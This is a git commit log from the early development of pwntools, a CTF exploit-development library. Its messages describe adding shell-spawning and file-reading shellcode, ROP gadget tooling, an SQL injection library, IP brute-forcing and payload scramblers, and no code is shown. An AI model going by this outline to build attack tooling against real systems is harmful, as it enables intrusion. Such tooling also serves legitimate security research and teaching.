bsm 80420c6fc0 changes/renames to cyclic pattern generator, now
usable from command-line
2012-12-21 08:52:45 +01:00
Mathias Svensson 980e5172e5 I am bad at merging? 2012-12-16 15:42:11 +01:00
Mathias Svensson bdb4d1d2c8 Merge and minor fixup of rop library 2012-12-15 22:17:23 +01:00
Mathias Svensson 5217d3be5d Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-15 20:37:23 +01:00
Mathias Svensson e32853dc6d Made pwnurllib closer to being usable 2012-12-15 20:36:07 +01:00
Morten Brøns-Pedersen 80c07664bf Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-13 20:38:37 +01:00
Morten Brøns-Pedersen da7ea0ee90 added try-catch around cloud module import 2012-12-13 20:38:30 +01:00
Jesper Reenberg 00c0cbc133 Renamed [get/set]data.py to [get/set]data, to conform with the general naming convention 2012-12-13 15:54:03 +01:00
Jesper Reenberg 176a7def03 Merge branch 'master' of git-proxy.pwnies.dk:pwntools 2012-12-11 23:22:24 +01:00
Jesper Reenberg ee3b437661 removed lib. prefix from some imports, so just .../pwntools/lib is needed in PYTHONPATH 2012-12-11 23:20:53 +01:00
Jesper Reenberg bba6df0c36 removed lib. prefix from some imports, so just .../pwntools/lib is needed in PYTHONPATH 2012-12-11 20:17:21 +01:00
Mathias Svensson b2f4c09e7f Merge branch 'master' of hades:pwntools into asm-devel 2012-12-11 20:06:00 +01:00
Jesper Reenberg f48c8640b9 updated the README to reflect reality 2012-12-11 19:52:51 +01:00
Mathias Svensson c236de7bf8 Added findpeerremote.py 2012-12-11 01:26:57 +01:00
Mathias Svensson 51d11b23e3 Added a clear_socks option to findtag for when against euronop 2012-12-11 01:26:41 +01:00
Mathias Svensson 2fd8111123 Fixed comment 2012-12-11 01:25:59 +01:00
Mathias Svensson 862e89c924 Fixed how combined shellcodes work 2012-12-11 01:25:36 +01:00
Mathias Svensson 919bbbac02 Moved related shellcodes to the same file 2012-12-10 20:46:53 +01:00
Mathias Svensson 9c822baa5a Removed addexcepthook and excepthook from export list 2012-12-10 20:37:45 +01:00
Mathias Svensson b51ffa8fe3 Merge branch 'master' of hades:pwntools into asm-devel 2012-12-10 20:31:53 +01:00
Mathias Svensson 658f11a9a5 Nobody was using the flat variations 2012-12-10 20:31:43 +01:00
Mathias Svensson 9879710369 Merge 2012-12-10 20:29:34 +01:00
Mathias Svensson 64c892376e Import refactoring 2012-12-10 20:26:31 +01:00
Mathias Svensson 64711dc43f Merge branch 'master' of hades:pwntools into asm-devel 2012-12-10 13:03:09 +01:00
Mathias Svensson 08b5c9dc5e de_bruijn now returns a list instead of a generator if join=False 2012-12-10 13:03:01 +01:00
Mathias Svensson b5019a53be Merge branch 'master' of hades:pwntools into asm-devel 2012-12-10 13:01:27 +01:00
Mathias Svensson e92b64951c Added a comment about optimizing de_bruijn_find 2012-12-10 13:01:18 +01:00
Mathias Svensson 549cb545fa Merge branch 'master' of hades:pwntools into asm-devel 2012-12-10 12:39:38 +01:00
Mathias Svensson 87a6cdaea8 Added large a large de_bruijn sequence 2012-12-10 12:33:50 +01:00
Mathias Svensson f60bf70d17 Merge 2012-12-10 12:04:59 +01:00
Mathias Svensson e25856bf6b Added genutil.py which mainly consists of a De Bruijn sequence generator 2012-12-10 12:01:45 +01:00
Mathias Svensson 612ec0873d Merge branch 'master' of hades:pwntools into asm-devel 2012-12-10 10:31:39 +01:00
bsm 09714140bd tool to produce cyclic patterns, for more easily
detecting stack/heap sizes on manual/automatic
fuzzing
2012-12-10 07:04:47 +01:00
Morten Brøns-Pedersen e034ed0d1e cleaned up readelf.py; better names, 64bit support, and a bit faster -- still crap though 2012-12-09 01:35:04 +01:00
Mathias Svensson 5284b4f4d9 scramble program ported (though it really should be made with more betterness) 2012-12-08 23:56:03 +01:00
Mathias Svensson 2a0308256a nops program ported (though it really should be made with more betterness) 2012-12-08 23:52:38 +01:00
Mathias Svensson 045e161e6c Added a warning to the deprecated pwn.i386 package 2012-12-08 23:50:52 +01:00
Mathias Svensson 1e09f338a3 Old shellcodes removed, small legacy stubs (that might or might not work) inserted instead 2012-12-08 23:42:47 +01:00
Mathias Svensson 23bd3fdf28 And now with working tests again 2012-12-08 23:38:17 +01:00
Mathias Svensson 4db63ec97e scramble now ported 2012-12-08 23:35:24 +01:00
Mathias Svensson 762100d773 Now with functional tests 2012-12-08 23:27:13 +01:00
Mathias Svensson 11a2fb91fa nop_pad added 2012-12-08 23:06:29 +01:00
Mathias Svensson 22ca64e7c5 The plus operator for assembler objects now makes a bit more sense 2012-12-08 23:06:13 +01:00
Morten Brøns-Pedersen 4c408a628a moved rop/rop.py to pwn/rop.py as it is not a self contained tool 2012-12-08 22:55:29 +01:00
Mathias Svensson b9a5b38a5e flat now supports shellcode assembling 2012-12-08 22:25:14 +01:00
Mathias Svensson f8e6bbdba6 Ported nops.py 2012-12-08 19:07:16 +01:00
Mathias Svensson 20e7e91d75 Shellcode can now be blobs too 2012-12-08 19:01:32 +01:00
Mathias Svensson 05f013a5ba Merge 2012-12-08 16:00:43 +01:00
Mathias Svensson f9c7478680 Import refactoring 2012-12-08 15:57:31 +01:00
Mathias Svensson 844d04802b Moved die from util.py to log.py 2012-12-08 14:11:55 +01:00
Mathias Svensson 055fe85742 Fixed imports 2012-12-08 14:03:48 +01:00
Mathias Svensson 0ab678e1f5 Fixed comma 2012-12-08 14:03:39 +01:00
Mathias Svensson 23bc9a5e10 Removed unused kwargs 2012-12-08 13:59:49 +01:00
bsm 3f74f8897c slight cleanup 2012-12-08 12:11:52 +01:00
Mathias Svensson 3442dba7b0 Functional demos 2012-12-08 02:43:16 +01:00
Mathias Svensson e9cdb03603 Merge branch 'master' of hades:pwntools into asm-devel 2012-12-08 02:36:23 +01:00
Mathias Svensson 0be9b8ec7f Fixed hashes 2012-12-08 02:36:04 +01:00
Mathias Svensson 572898db6a More docstrings 2012-12-08 02:30:50 +01:00
Mathias Svensson 92fc4a4a37 I'm bad at merging 2012-12-08 02:28:35 +01:00
Mathias Svensson c59dfe9522 Merged 2012-12-08 02:26:46 +01:00
Mathias Svensson 5e61a15633 Split util.py into multiple files and ran pylint 2012-12-08 02:24:24 +01:00
Mathias Svensson cbd6f290d0 Slight refactoring 2012-12-08 00:28:51 +01:00
Mathias Svensson fda77557f3 download.py is non-functional 2012-12-07 16:15:34 +01:00
Mathias Svensson 5d53971c6d This might actually be a good idea 2012-12-07 16:14:00 +01:00
Mathias Svensson b75d2c3259 This seems like a good idea, though I am not entirely sure it is 2012-12-07 12:15:48 +01:00
Mathias Svensson 0a0778eb8c connect() can now compile using the new scheme 2012-12-07 01:11:52 +01:00
Mathias Svensson a4efaa5fbf Now with comments and slight betterness 2012-12-06 23:40:17 +01:00
Mathias Svensson d630bec5ec Sorta kinda on the way to working 2012-12-06 23:15:13 +01:00
Mathias Svensson 4c6f845016 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 23:13:48 +01:00
Mathias Svensson b274f6a75b A bit more error logging on shellcraft errors 2012-12-06 23:13:44 +01:00
Morten Brøns-Pedersen 354530adb2 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 23:10:56 +01:00
Morten Brøns-Pedersen d6eedad8a3 added libdistorm3 for 64bit glibc2.13 2012-12-06 23:10:50 +01:00
Morten Brøns-Pedersen 71275b3088 interactive mode better 2012-12-06 23:10:00 +01:00
Mathias Svensson 26bc815200 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 23:02:24 +01:00
Mathias Svensson d975498532 Unneeded deletions 2012-12-06 23:02:20 +01:00
bsm 58276b209c happy fixes to rop 2012-12-06 21:23:36 +01:00
bsm f6fda31641 cleanup of code 2012-12-06 20:52:36 +01:00
Morten Brøns-Pedersen 17589ece4d Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 20:47:59 +01:00
Morten Brøns-Pedersen 8cc0edb327 splash screen bitches 2012-12-06 20:47:54 +01:00
bsm 1219940c7a new spinner :D 2012-12-06 20:21:45 +01:00
Mathias Svensson f261012ca2 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 20:14:42 +01:00
Mathias Svensson e0afe04db4 concat and concat_all 2012-12-06 20:14:38 +01:00
Morten Brøns-Pedersen ac7e142e25 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 19:25:52 +01:00
Mathias Svensson aa65fb546f Removed i386/mips 2012-12-06 19:08:27 +01:00
bsm 8e32bd8e8f reduced number of potential modules to decrease complexity 2012-12-06 19:05:07 +01:00
bsm 3d8ebe55f7 removing old aeROPics module, refer to pwn.rop for your rop endeavours 2012-12-06 19:04:35 +01:00
Mathias Svensson 2967e113bc Better ipbrute 2012-12-06 19:01:17 +01:00
bsm 48e758bd45 now trying stuff... 2012-12-06 18:25:49 +01:00
Morten Brøns-Pedersen b299652d0f Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-06 18:23:01 +01:00
Mathias Svensson a36e43d242 Added wrap32 and wrap64 2012-12-06 14:55:59 +01:00
Mathias Svensson b418be24ed Go home emacs, you are drunk 2012-12-06 13:18:23 +01:00
dr_bs d9ad827861 Merge branch 'master' of git-proxy:pwntools
Conflicts:
	pwn/__init__.py
2012-12-05 12:35:40 +00:00
dr_bs 4ab9fa38ba symlink to aeropics... I think? 2012-12-05 12:32:05 +00:00
dr_bs 6bfe736ce3 adding rop module 2012-12-05 12:31:43 +00:00
dr_bs 17be0c75e4 what's up 2012-12-05 12:31:13 +00:00
Mathias Svensson affdfbf2d1 ipbrute added 2012-12-05 13:24:56 +01:00
Mathias Svensson 6ca5c09908 Fixed disasm for other bit-modes than 16 2012-12-05 13:24:32 +01:00
Mathias Svensson d39692f596 Merge branch 'master' of hades:pwntools 2012-12-04 02:01:03 +01:00
Morten Brøns-Pedersen 8081800aa6 dont use daemon threads -- bit slower shutdown, but avoid exceptions 2012-11-30 14:38:37 +01:00
Morten Brøns-Pedersen 5cb7e1f620 much nicer output 2012-11-29 20:22:14 +01:00
Morten Brøns-Pedersen 8e4e8a753b support empty message in log.waitfor 2012-11-29 20:21:56 +01:00
user 48ce48807c Added file reading to python sqli library 2012-11-29 12:48:07 -06:00
Morten Brøns-Pedersen 3e0031d4c8 promoted randomua to toplevel 2012-11-29 11:30:05 +01:00
Morten Brøns-Pedersen b438cd1afa Merge branch 'master' of git-proxy.pwnies.dk:pwntools 2012-11-29 10:29:04 +01:00
Morten Brøns-Pedersen 6908a45a5c improved interactive mode for sockets and extended accompanying demo 2012-11-29 10:26:08 +01:00
dr_bs ae0c581b86 ability to query symbol tables, e.g. a.segments('base') will return base and addr.
and a.segments(0x0804) will return all entries at address 0x0804XXXX.
also less crappy
2012-11-29 09:03:05 +00:00
Morten Brøns-Pedersen b6b338423e added missing import 2012-11-29 10:02:13 +01:00
dr_bs f5aa30bb2c Merge branch 'master' of git-proxy:pwntools 2012-11-29 08:58:46 +00:00
Morten Brøns-Pedersen 0eaeb00856 added threads that can be terminated 2012-11-29 09:58:15 +01:00
dr_bs 7627ac9990 added shellcode for setreuid + spawn shell... not sure if it overlaps with setperms
shellcode but... Meh!
2012-11-29 08:57:06 +00:00
Morten Brøns-Pedersen 769ffc8645 dump column type as well 2012-11-28 15:49:47 +01:00
Morten Brøns-Pedersen 3be3fd3e82 delete debug print statements 2012-11-28 15:43:33 +01:00
Morten Brøns-Pedersen e398c267e6 use integer division in align, and remove trailing whitespace 2012-11-28 13:55:24 +01:00
Morten Brøns-Pedersen a60b97bcb2 removed stray file 2012-11-27 14:51:07 +01:00
Morten Brøns-Pedersen a86f153715 Merge branch 'master' of git-proxy.pwnies.dk:pwntools 2012-11-27 14:45:59 +01:00
Morten Brøns-Pedersen 42b92b7b07 sqli baby 2012-11-27 14:44:05 +01:00
Mathias Svensson 360b24a8c7 Better hex/raw handling in asm 2012-11-27 11:55:58 +01:00
Mathias Svensson ed7f4aa448 On second thought, default should be hex 2012-11-27 11:27:59 +01:00
Mathias Svensson 9a77e9160a And symlinks 2012-11-27 11:27:39 +01:00
Mathias Svensson f534bf74c4 asm + disasm 2012-11-27 11:25:59 +01:00
Mathias Svensson 993201703f doit_aeropics.py 2012-11-27 11:16:53 +01:00
Mathias Svensson 25bb9566b7 Better bits and bits_str 2012-11-27 11:14:37 +01:00
dr_bs a78c364bb8 Merge branch 'master' of git-proxy:pwntools
Conflicts:
	aeROPics/aeROPics2.py
2012-11-27 08:52:11 +00:00
dr_bs 127b0cfa4c ability to perform arithmetic operations on addresses, e.g. (plt.execve+0x20) 2012-11-27 08:50:22 +00:00
bsm 47a330d01f trailing whitespaces 2012-11-25 13:15:56 +01:00
dr_bs 483128ebea initial clean-up 2012-11-23 12:53:37 +01:00
dr_bs fb22af7922 new 32bit distorm.so file, plus try-except clause to prevent complete breakdown 2012-11-23 10:36:09 +01:00
dr_bs d32db5ec52 now also with a 32bit library for distorm.
trying to properly detect architecture and select proper lib in distorm init.
2012-11-22 13:30:56 +01:00
dr_bs da5afc27eb changed import of depending library in gadgets.py (distorm3 now imported from pwnlib)
undone changes to importing aeropics in __init__.py
2012-11-22 12:55:47 +01:00
dr_bs 1655988468 added aeROPics library dependency (distorm3) to lib 2012-11-22 12:54:52 +01:00
dr_bs 4af435c971 aeropics example based on PoliCTF bin300 2012-11-22 12:16:28 +01:00
dr_bs 2d5bf87ce5 added warning when importing aeROPics fails (usually distorm not installed) 2012-11-22 11:26:34 +01:00
dr_bs 0f01d68174 aeROPics now supports "functions".
moved location of aeROPics libs.
changed how aeROPics is loaded
2012-11-22 09:18:01 +01:00
Mathias Svensson 6c84503309 Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-21 12:03:49 +01:00
Mathias Svensson 07a8ab029d unhex generated a trailing newline 2012-11-21 12:03:40 +01:00
Mathias Svensson 1effcf4ead better bits and unbits 2012-11-21 12:03:18 +01:00
dr_bs 77414acdbb added aeROPics to pwnlib, moved dependent libraries
to lib, and stuff...
2012-11-21 09:35:13 +01:00
bsm 3a00186386 added function recognition in elf-reader 2012-11-20 15:10:54 +01:00
Morten Brøns-Pedersen ee2697eacb endianness 2012-11-18 00:07:43 +01:00
Morten Brøns-Pedersen 3ed270700f Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-18 00:06:59 +01:00
Morten Brøns-Pedersen 4aeba6345e bits and b64 2012-11-17 23:39:27 +01:00
Morten Brøns-Pedersen b44895913a changed exit to sys.exit 2012-11-17 20:14:51 +01:00
Mathias Svensson 411c9da8c1 Added a stackhunter (and added mprotect_all to __init__.py) 2012-11-17 15:57:06 +01:00
Mathias Svensson 7d876f0a52 Added shellcode for mprotecting every page to be executable and writable 2012-11-17 15:19:17 +01:00
Mathias Svensson 5eeb831ddb Forgot to add "\x00" to the default disallowed bytes in get_allowed 2012-11-17 13:25:46 +01:00
Mathias Svensson 477aa45529 Updated comments in demo_findtag 2012-11-17 13:01:21 +01:00
Mathias Svensson 44837a4d84 Minor bugfix for findtag (added int conversion) 2012-11-17 01:17:47 +01:00
Mathias Svensson 14abe5787b Reduced usage of sleep in findtag 2012-11-16 22:02:01 +01:00
Mathias Svensson 1d371db0b7 Added demos for findpeer and findtag 2012-11-16 19:05:45 +01:00
Mathias Svensson c6ca71bc19 Updated findpeer and added findtag 2012-11-16 19:05:16 +01:00
Mathias Svensson fba143fcee lport now available on remote socks 2012-11-16 18:47:25 +01:00
Mathias Svensson 90bc2284b9 Added some randomness functions and functions for avoid/only 2012-11-16 18:45:15 +01:00
Mathias Svensson 4362a469d3 docstring for xor_pair 2012-11-16 18:21:05 +01:00
Mathias Svensson bdf3d616da Added shellcode for findpeer and findpeersh, which looks at all sockets to find one using a specific port 2012-11-16 14:46:25 +01:00
Morten Brøns-Pedersen eb68fed453 my take on a `cat' shellcode 2012-11-15 22:02:44 +01:00
Morten Brøns-Pedersen 534ca36fa2 special case on fd=0 2012-11-15 21:41:56 +01:00
Morten Brøns-Pedersen 5427fc7bc9 Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-15 21:03:35 +01:00
Morten Brøns-Pedersen 0fd47b7e04 use sock.lhost instead of hardcoded addr 2012-11-15 21:00:21 +01:00
Morten Brøns-Pedersen 830b365174 added lhost field to remote class 2012-11-15 20:56:17 +01:00
Ceryn f11cb488ac Merge branch 'master' of ssh://hades.olympus.freaken.dk:2222/pwntools
Jeg forsøger at pushe, men den siger jeg skal pulle. Det gør jeg så.
2012-11-15 03:15:52 +01:00
Ceryn a7d80d14ba Added option to use sys_sendfile to read in cat shellcode. Optimized arguments for shellcode size. 2012-11-15 03:15:10 +01:00
Mathias Svensson c472e8dccb Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-15 00:51:07 +01:00
Ceryn 039dba99f2 Added cat shellcode 2012-11-14 23:46:40 +01:00
Ceryn 771a7fbbf2 Added fakesh 2012-11-14 18:31:48 +01:00
Morten Brøns-Pedersen 118c708a4d removed debug print statement 2012-11-14 18:02:00 +01:00
Morten Brøns-Pedersen 0f775c5c81 Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-14 17:35:20 +01:00
Morten Brøns-Pedersen 100f4d302c accept port number as string 2012-11-14 17:01:12 +01:00
Morten Brøns-Pedersen 49411e8185 proper argv parsing 2012-11-14 17:00:21 +01:00
Mathias Svensson 7dbba2507a Merge branch 'master' of hades:pwntools 2012-11-14 15:41:54 +01:00
Morten Brøns-Pedersen 87d3423113 demo now also reads shellcode from stdin 2012-11-13 20:13:39 +01:00
bsm ff7e86a47e added proof of concept in comments 2012-11-12 17:01:25 +01:00
bsm 561843f62f changed handling of result headers and html contents, renamed class to something more better
and less crappy.
2012-11-12 16:31:41 +01:00
Morten Brøns-Pedersen b0da3159d2 added pwn symlink to lib 2012-11-03 16:45:33 +01:00
Morten Brøns-Pedersen c3a58c8518 Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-03 16:42:17 +01:00
bsm 28c59efd3d first addition of the urllib wrapper 2012-11-02 14:52:24 +01:00
Ceryn 7246ca93c5 did something to exampleusage.py 2012-11-01 23:50:26 +01:00
Ceryn fa27d60eb4 Merge branch 'master' of ssh://hades.olympus.freaken.dk:2222/pwntools 2012-11-01 23:31:13 +01:00
Ceryn 251579adb0 Merge branch 'master' of ssh://hades.olympus.freaken.dk:2222/pwntools 2012-11-01 23:19:36 +01:00
Ceryn f733972e07 Fixed recursion warning bug in unpacker.pl 2012-11-01 23:18:28 +01:00
Morten Brøns-Pedersen 0bfbf61ac5 symlink to scramble 2012-11-01 21:59:35 +01:00
Morten Brøns-Pedersen 5904b0f8d8 docstrings for hashing functions 2012-11-01 21:58:39 +01:00
Morten Brøns-Pedersen 7ec77b7e8f Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-01 21:51:07 +01:00
Morten Brøns-Pedersen b012988914 scramble frontend 2012-11-01 21:51:03 +01:00
Morten Brøns-Pedersen 188ccdb90a removed getpc option -- i'l probably change it to something like what alpha2 uses 2012-11-01 21:50:51 +01:00
Mathias Svensson 5743cab72b Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-01 21:33:22 +01:00
Mathias Svensson 766daebba7 All them docstrings 2012-11-01 21:33:16 +01:00
Morten Brøns-Pedersen f727c928d8 added links in bin folder 2012-11-01 21:12:27 +01:00
Morten Brøns-Pedersen 570ef2557b helpful help is helpful 2012-11-01 21:05:41 +01:00
Morten Brøns-Pedersen 5aec929311 Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-01 21:02:48 +01:00
Morten Brøns-Pedersen 68772079ef added lib folder -- remember to add path to PYTHONPATH 2012-11-01 21:02:31 +01:00
Morten Brøns-Pedersen d86fd48c22 moved ssh keys to dat 2012-11-01 21:01:52 +01:00
Mathias Svensson 01b42bda4c Merge branch 'master' of git.pwnies.dk:pwntools 2012-11-01 20:29:02 +01:00
Mathias Svensson da2df4153f even better xor 2012-11-01 20:28:39 +01:00
Mathias Svensson a9be275151 pwn.fucking.tools 2012-11-01 19:12:46 +01:00
bsm 7ecfa5d59e nu med useragents 2012-11-01 18:25:49 +01:00
Mathias Svensson 1f13e70740 Merge branch 'master' of git.pwnies.dk:pwntools 2012-10-30 17:27:49 +01:00
Mathias Svensson ffeefb985a Feature creep on the xor function 2012-10-30 17:27:43 +01:00
bsm ce908224f3 nu med default values for 'only' 2012-10-30 13:26:55 +01:00
Morten Brøns-Pedersen 061428dcd6 Merge branch 'master' of proxy-hades:pwntools
Conflicts:
	pwn/i386/nops.py
2012-10-29 09:33:29 +01:00
Morten Brøns-Pedersen 6f98fe690f added first scrambler 2012-10-29 02:01:34 +01:00
Morten Brøns-Pedersen d1f57fae18 added xor function and renamed alignment functions 2012-10-29 02:00:54 +01:00
Morten Brøns-Pedersen da133185f8 added "special register" "stack" 2012-10-29 02:00:35 +01:00
Mathias Svensson 108f54e11e Merge branch 'master' of hades:pwntools 2012-10-28 20:33:23 +01:00
Mathias Svensson 784c8556db nops_single_byte now has an argument has_stack = False 2012-10-28 20:33:18 +01:00
Morten Brøns-Pedersen f538974478 moved 'only' option from front-end to lib 2012-10-28 20:01:55 +01:00
Ceryn b36bb36bfe Merge branch 'master' of ssh://hades.olympus.freaken.dk:2222/pwntools 2012-10-28 18:54:14 +01:00
Ceryn 472a5aae1d Added rainbow progress bars 2012-10-28 18:46:34 +01:00
Morten Brøns-Pedersen a1ce70d057 added --only option 2012-10-28 17:38:56 +01:00
Morten Brøns-Pedersen 8e8b85e344 fixed nops_single_bytes 2012-10-28 17:38:35 +01:00
Morten Brøns-Pedersen 44bf6d1030 added nopsled option to shellcraft 2012-10-28 17:25:23 +01:00
Morten Brøns-Pedersen dfe74bed5f Merge branch 'master' of hades:pwntools 2012-10-28 17:15:48 +01:00
Morten Brøns-Pedersen 9a14d90b71 nop generator front-end 2012-10-28 17:15:35 +01:00
Morten Brøns-Pedersen ecc8ea9731 usage message 2012-10-28 17:15:15 +01:00
Morten Brøns-Pedersen 1ef4f03e93 proper nop generator 2012-10-28 17:14:54 +01:00
Mathias Svensson fa014640d8 Added multiple versions for flat per br0ns' request 2012-10-26 14:14:09 +02:00
Mathias Svensson 0020b9f8d5 Added a flattening function, which takes lists, strings and numbers and concats them into an string 2012-10-26 14:10:12 +02:00
Morten Brøns-Pedersen 644326677a remove personal todolist 2012-10-25 20:53:20 +02:00
Morten Brøns-Pedersen a4ae25bb12 Merge branch 'master' of hades:pwntools
Conflicts:
	pwn/__init__.py
2012-10-25 20:38:48 +02:00
Ceryn ebe89c2f9b oops 2012-10-25 22:24:53 +02:00
Ceryn 29361947d7 Added 3 exercises for noob-track 2012-10-25 22:18:52 +02:00
Morten Brøns-Pedersen edea5b3cd7 removed timeattack 2012-10-25 20:37:30 +02:00
Morten Brøns-Pedersen 6221304c89 initial tattack 2012-10-25 20:36:49 +02:00
Morten Brøns-Pedersen dac555796a initial tattack binary 2012-10-25 20:36:27 +02:00
Morten Brøns-Pedersen 4a94acdef2 added hash functions and group function, and cleaned up namespace 2012-10-25 20:30:18 +02:00
Morten Brøns-Pedersen ef9b9b3da8 take env as kwarg and implemented recvall 2012-10-25 20:29:29 +02:00
Morten Brøns-Pedersen b0b411d652 make logging aware of DEBUG and TRACE if they are changed after load time 2012-10-25 20:28:45 +02:00
Morten Brøns-Pedersen 0e8a22cd6b initial cloud 2012-10-25 20:26:54 +02:00
Morten Brøns-Pedersen 1b2e7ad87a dont pollute namespace 2012-10-25 20:26:22 +02:00
Morten Brøns-Pedersen 6ea78ff2fa show boring gadgets 2012-10-25 20:21:23 +02:00
Mathias Svensson 83f834c770 Added pwn.noargv 2012-10-25 10:23:24 +02:00
Mathias Svensson d7bda6e5fa Added new shellcode for setting real/effective/saved UIDs 2012-10-23 22:36:08 +02:00
Morten Brøns-Pedersen a9d17c5e38 updated cloud info 2012-10-07 22:55:38 +02:00
Morten Brøns-Pedersen 73cf895ea6 Merge branch 'master' of hades:pwntools 2012-10-07 18:34:39 +02:00
Morten Brøns-Pedersen da13d03203 update demo to fit new lib structure 2012-10-07 18:34:27 +02:00
Morten Brøns-Pedersen 0a18b45882 added alignment funcitons 2012-10-07 18:33:53 +02:00
Morten Brøns-Pedersen dce30b51af forgot private key 2012-10-07 18:33:25 +02:00
Morten Brøns-Pedersen 80ed507616 public and private key 2012-10-07 18:32:35 +02:00
Morten Brøns-Pedersen 338845c4c5 moved session and cloud initialization 2012-10-07 18:32:13 +02:00
Morten Brøns-Pedersen 3ad3242a82 moved session and cloud initialisation into internal.init 2012-10-07 18:31:05 +02:00
Mathias Svensson ec7d9bdada peek/poke now works again after br0ns moved things around 2012-10-03 13:37:58 +02:00
Morten Brøns-Pedersen e5c691026d moved files around 2012-10-02 19:10:14 +02:00
Morten Brøns-Pedersen 1f5a9881e6 fixed cmd line var parsing 2012-09-30 18:29:27 +02:00
Morten Brøns-Pedersen fd617ccae3 doh -- should be escape 2012-09-29 17:00:14 +02:00
Morten Brøns-Pedersen 1a444e80a1 added urlencode 2012-09-29 16:58:55 +02:00
Morten Brøns-Pedersen b209f01d66 Fixed race condition: go to start of line before printing 2012-09-28 22:09:20 +02:00
Morten Brøns-Pedersen 2718b58d37 progress in poke 2012-09-28 13:58:30 +02:00
Morten Brøns-Pedersen 79d7a19a53 progress and digest verification 2012-09-27 22:18:55 +02:00
Morten Brøns-Pedersen 89c25731f2 spinner redraws whole line 2012-09-27 22:18:29 +02:00
Morten Brøns-Pedersen 8ec9193f01 docstrings 2012-09-27 22:17:57 +02:00
Morten Brøns-Pedersen ef45870fb4 use constants from errno package 2012-09-24 18:05:53 +02:00
Kristoffer Søholm 7495f902ff Improved non-TTY debug messages 2012-09-24 17:15:10 +02:00
Kristoffer Søholm f1f03731bd Added error handling if nasm isn't installed 2012-09-24 17:08:06 +02:00
Morten Brøns-Pedersen 2fc1168541 Merge branch 'master' of proxy-hades:pwntools 2012-09-24 10:14:20 +02:00
Mathias Svensson 64d4e700bc Better traceback output (AND COMMENTS!) 2012-09-24 09:45:46 +02:00
Morten Brøns-Pedersen d4d6fff80c use logging functions 2012-09-23 23:56:00 +02:00
Morten Brøns-Pedersen 0c81b17b1f changed some log messages 2012-09-23 23:55:38 +02:00
Mathias Svensson 8d62785429 LESS WORSENESS, MORE BETTERNESS (and spinners) 2012-09-23 22:55:16 +02:00
Mathias Svensson 23becd173f s/X86/x86/ 2012-09-23 22:29:30 +02:00
Morten Brøns-Pedersen 68dae90eec removed trailing whitespace 2012-09-23 22:28:18 +02:00
Morten Brøns-Pedersen 6834255c9e lulz 2012-09-23 22:27:42 +02:00
Morten Brøns-Pedersen 21d9113bb9 Merge branch 'master' of hades:pwntools 2012-09-23 22:24:34 +02:00
Morten Brøns-Pedersen 9254efc133 i'm on a pwnie 2012-09-23 22:24:23 +02:00
Mathias Svensson c58d156ce0 Merge branch 'master' of hades:pwntools 2012-09-23 22:06:16 +02:00
Mathias Svensson b5aa29c796 better size(n) 2012-09-23 22:06:11 +02:00
Morten Brøns-Pedersen ada681bd37 debug mode sockets now use stderr 2012-09-23 22:05:14 +02:00
Morten Brøns-Pedersen f21fcae675 what i don't do for colors... 2012-09-23 21:56:04 +02:00
Mathias Svensson ae05871df1 spinner improved a bit -- work still needed though 2012-09-23 02:11:15 +02:00
Mathias Svensson 5d4917b1fe a bit more error checking 2012-09-22 23:39:44 +02:00
Mathias Svensson ac3a2b4afb Merge branch 'master' of hades:pwntools 2012-09-22 23:36:28 +02:00
Mathias Svensson 1cf8e4c01e recvuntil, sendafter and sendwhen 2012-09-22 23:36:23 +02:00
Morten Brøns-Pedersen b4cf1d2f9b Merge branch 'master' of hades:pwntools 2012-09-22 22:46:53 +02:00
Morten Brøns-Pedersen 589133188f Dont close connection before connecting, but print a warning instead 2012-09-22 22:46:22 +02:00
Mathias Svensson b0217bdbd4 sendafter now returns the recieved data 2012-09-22 22:40:35 +02:00
Morten Brøns-Pedersen fddfb0c2fc renamed send_after to sendafter 2012-09-22 22:24:29 +02:00
Morten Brøns-Pedersen 8e2df7dd70 Merge branch 'master' of hades:pwntools 2012-09-22 22:22:49 +02:00
Morten Brøns-Pedersen 774a4ae3dc disable spinner when in DEBUG mode 2012-09-22 22:22:40 +02:00
Mathias Svensson cfb6d48d90 I really should test if my code compiles before pushing 2012-09-22 22:22:21 +02:00
Morten Brøns-Pedersen e39c9ff1c6 added sendafter() 2012-09-22 22:21:21 +02:00
Morten Brøns-Pedersen 0391c7d298 spin while waiting for handler 2012-09-22 22:21:02 +02:00
Mathias Svensson 333cbbba36 added basesock.send_after 2012-09-22 22:18:53 +02:00
Morten Brøns-Pedersen debf5f1354 unfoo'ed the spinner 2012-09-22 20:09:12 +02:00
Morten Brøns-Pedersen 2c7bc63e65 stop spinner if something goes wrong 2012-09-22 19:51:42 +02:00
Morten Brøns-Pedersen 4ec629b286 colorised handler 2012-09-22 18:54:57 +02:00
Morten Brøns-Pedersen 457330bef4 Merge branch 'master' of hades:pwntools 2012-09-22 18:41:45 +02:00
Morten Brøns-Pedersen c4c03b2eed look at the pretty colors! 2012-09-22 18:41:29 +02:00
Mathias Svensson 2df902f276 Merge branch 'master' of hades:pwntools 2012-09-21 14:24:30 +02:00
Mathias Svensson eccf428390 added recvall 2012-09-21 14:24:11 +02:00
Kristoffer Søholm c77729b88e Created defence section 2012-09-20 20:24:56 +02:00
Mathias Svensson 960450354f Better debug information in handler 2012-09-09 09:11:32 +02:00
Mathias Svensson 6688fd4322 handler now supports sock options and has REUSEADDR by default 2012-09-09 09:11:13 +02:00
Mathias Svensson 66c0c28280 Added get_interfaces() function 2012-09-09 08:59:10 +02:00
Mathias Svensson 915e78921c Added a bin folder with symlinks to the relevant binaries in the other folders 2012-09-09 01:07:04 +02:00
Mathias Svensson 3f8968c040 Found another one 2012-09-09 01:01:29 +02:00
